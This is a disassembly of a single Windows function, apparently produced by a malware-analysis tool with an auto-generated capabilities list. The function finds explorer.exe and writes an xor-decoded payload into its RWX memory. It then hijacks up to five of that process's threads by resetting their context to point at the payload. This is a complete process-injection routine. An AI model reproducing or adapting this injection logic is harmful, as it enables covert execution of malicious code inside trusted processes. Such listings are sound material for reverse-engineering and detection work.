Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Enumerate processes
Enumerate threads
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x760
xor edi, edi
xor edx, edx
mov esi, edi
lea ecx, [rdi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400012c1
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000106f
lea rdx, [rsp + 0x7c]
lea rcx, str.explorer.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x14000106b
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001041
jmp 0x14000106f
mov esi, dword [rsp + 0x58]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x1400012c1
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.PID_:
mov qword [rsp + 0x790], r15
call fcn.140001370
mov rcx, rax
mov edx, esi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001540]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, esi
mov dword [rsp + 0x2c0], 0x10000b
xor edx, edx
mov dword [rsp + 0x30], 0x1c
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
test rax, rax
jne 0x14000110d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.OpenProcess_failed_
call fcn.140001370
mov rcx, rax
lea rdx, [0x140001540]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea eax, [r15 - 2]
jmp 0x140001284
mov qword [rsp + 0x780], rbp
xor edx, edx
mov r9d, 0x3000
mov qword [rsp + 0x788], r14
mov r8d, 0x5e707
mov dword [rsp + 0x20], 0x40
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea rbx, [0x1400050c0]
mov qword [rsp + 0x20], rdi
mov r8, rbx
mov rdx, rax
mov r9d, 0x5e707
mov rcx, r15
mov r14, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, edi
lea r10, [0x140000000]
mov r9, rdi
mov rdx, rbx
cmp r9, 0x10
lea rdx, [rdx + 1]
mov rcx, rdi
cmovne rcx, r9
inc r8d
movzx eax, byte [rcx + r10 + 0x50a0]
lea r9, [rcx + 1]
xor byte [rdx - 1], al
cmp r8d, 0x5e707
jb 0x140001170
mov edx, edi
mov rax, rdi
cmp rax, 0x10
lea rbx, [rbx + 1]
mov rcx, rdi
cmovne rcx, rax
inc edx
movzx eax, byte [rcx + r10 + 0x637c8]
xor byte [rbx - 1], al
lea rax, [rcx + 1]
cmp edx, 0x5e707
jb 0x1400011a0
xor edx, edx
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x30]
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x140001269
nop dword [rax]
cmp esi, dword [rsp + 0x3c]
jne 0x140001257
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
test rax, rax
je 0x140001297
mov rcx, rax
inc edi
call qword [sym.imp.KERNEL32.dll_SuspendThread]
lea rdx, [rsp + 0x290]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rdx, [rsp + 0x290]
mov qword [rsp + 0x388], r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp edi, 4
jg 0x140001269
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1400011f0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov r14, qword [rsp + 0x788]
mov rbp, qword [rsp + 0x780]
mov r15, qword [rsp + 0x790]
add rsp, 0x760
pop rdi
pop rsi
pop rbx
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.OpenThread_filed
call fcn.140001370
mov rcx, rax
lea rdx, [0x140001540]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 0xfffffffd
jmp 0x140001274
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.PID_not_found
call fcn.140001370
mov rcx, rax
lea rdx, [0x140001540]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 0xffffffff
add rsp, 0x760
pop rdi
pop rsi
pop rbx
ret